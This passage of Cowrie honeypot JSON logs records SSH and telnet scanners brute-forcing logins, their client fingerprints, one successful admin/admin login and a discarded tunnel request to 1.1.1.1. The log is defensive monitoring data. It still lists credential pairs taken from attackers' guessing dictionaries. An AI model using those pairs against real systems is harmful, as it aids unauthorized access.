03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:21.399606Z","src_ip":"177.76.134.52","session":"cf24b6261e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Z123456z","message":"login attempt [root/Z123456z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:21.975611Z","src_ip":"177.76.134.52","session":"cf24b6261e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:15:23.164983Z","src_ip":"177.76.134.52","session":"cf24b6261e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":55280,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfe49fcc3c8","protocol":"ssh","message":"New connection: 162.144.105.39:55280 (159.203.135.109:22) [session: 0cfe49fcc3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:38.601404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:38.603468Z","src_ip":"162.144.105.39","session":"0cfe49fcc3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:38.684762Z","src_ip":"162.144.105.39","session":"0cfe49fcc3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&*","message":"login attempt [root/qwerty@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:38.931374Z","src_ip":"162.144.105.39","session":"0cfe49fcc3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:40.305349Z","src_ip":"162.144.105.39","session":"0cfe49fcc3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":48340,"dst_ip":"159.203.135.109","dst_port":22,"session":"c457848f58c6","protocol":"ssh","message":"New connection: 162.241.129.208:48340 (159.203.135.109:22) [session: c457848f58c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:41.712589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:41.716622Z","src_ip":"162.241.129.208","session":"c457848f58c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:41.743037Z","src_ip":"162.241.129.208","session":"c457848f58c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecuador","password":"Quito#Bitc0!n#Cr@zy!","message":"login attempt [ecuador/Quito#Bitc0!n#Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:41.825963Z","src_ip":"162.241.129.208","session":"c457848f58c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:42.855429Z","src_ip":"162.241.129.208","session":"c457848f58c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194478034973,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:43.436737Z","src_ip":"94.23.66.112","session":"e3f9fa5b406c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56786,"dst_ip":"159.203.135.109","dst_port":22,"session":"6badc78123a8","protocol":"ssh","message":"New connection: 159.65.58.200:56786 (159.203.135.109:22) [session: 6badc78123a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:44.094905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:44.399613Z","src_ip":"159.65.58.200","session":"6badc78123a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:44.401942Z","src_ip":"159.65.58.200","session":"6badc78123a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solin","password":"123456","message":"login attempt [solin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:45.219171Z","src_ip":"159.65.58.200","session":"6badc78123a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:46.501309Z","src_ip":"159.65.58.200","session":"6badc78123a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"8990401b2608","protocol":"telnet","message":"New connection: 137.184.5.188:39166 (159.203.135.109:23) [session: 8990401b2608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:56.440476Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38530,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc10d1cd31b9","protocol":"telnet","message":"New connection: 170.64.224.25:38530 (159.203.135.109:23) [session: fc10d1cd31b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:16:58.785005Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":56046,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb845a670acd","protocol":"ssh","message":"New connection: 165.22.184.88:56046 (10.17.0.5:22) [session: cb845a670acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:02.964195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:02.967998Z","src_ip":"165.22.184.88","session":"cb845a670acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:02.976876Z","src_ip":"165.22.184.88","session":"cb845a670acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baghdad_iraq","password":"baghdad123","message":"login attempt [baghdad_iraq/baghdad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:02.991537Z","src_ip":"165.22.184.88","session":"cb845a670acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:04.000891Z","src_ip":"165.22.184.88","session":"cb845a670acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.28208875656128,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:41.722424Z","src_ip":"137.184.5.188","session":"8990401b2608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":40326,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b1ffb59f37","protocol":"ssh","message":"New connection: 38.242.143.220:40326 (10.17.0.5:22) [session: 99b1ffb59f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:43.106174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:43.110241Z","src_ip":"38.242.143.220","session":"99b1ffb59f37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:43.204352Z","src_ip":"38.242.143.220","session":"99b1ffb59f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dydx789","message":"login attempt [root/dydx789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:43.496683Z","src_ip":"38.242.143.220","session":"99b1ffb59f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:44.598681Z","src_ip":"38.242.143.220","session":"99b1ffb59f37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":29196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cad3355fd3","protocol":"ssh","message":"New connection: 176.53.159.196:29196 (10.17.0.5:22) [session: e1cad3355fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.112978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.116017Z","src_ip":"176.53.159.196","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.212312Z","src_ip":"176.53.159.196","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.502502Z","src_ip":"176.53.159.196","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.601429Z","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.698063Z","src_ip":"176.53.159.196","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:49.796676Z","src_ip":"176.53.159.196","session":"e1cad3355fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.509968519210815,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:51.294865Z","src_ip":"170.64.224.25","session":"fc10d1cd31b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":54854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c2a09cf07c0","protocol":"ssh","message":"New connection: 202.61.233.105:54854 (10.17.0.5:22) [session: 9c2a09cf07c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:54.783683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:54.787624Z","src_ip":"202.61.233.105","session":"9c2a09cf07c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:54.880112Z","src_ip":"202.61.233.105","session":"9c2a09cf07c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hnt@S3cur3$","message":"login attempt [root/Hnt@S3cur3$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:55.210678Z","src_ip":"202.61.233.105","session":"9c2a09cf07c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:17:56.301454Z","src_ip":"202.61.233.105","session":"9c2a09cf07c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":39460,"dst_ip":"10.17.0.5","dst_port":22,"session":"449fbe7e5a8d","protocol":"ssh","message":"New connection: 208.109.189.255:39460 (10.17.0.5:22) [session: 449fbe7e5a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:18.667497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:18:18.671423Z","src_ip":"208.109.189.255","session":"449fbe7e5a8d","protocol":"ssh"}
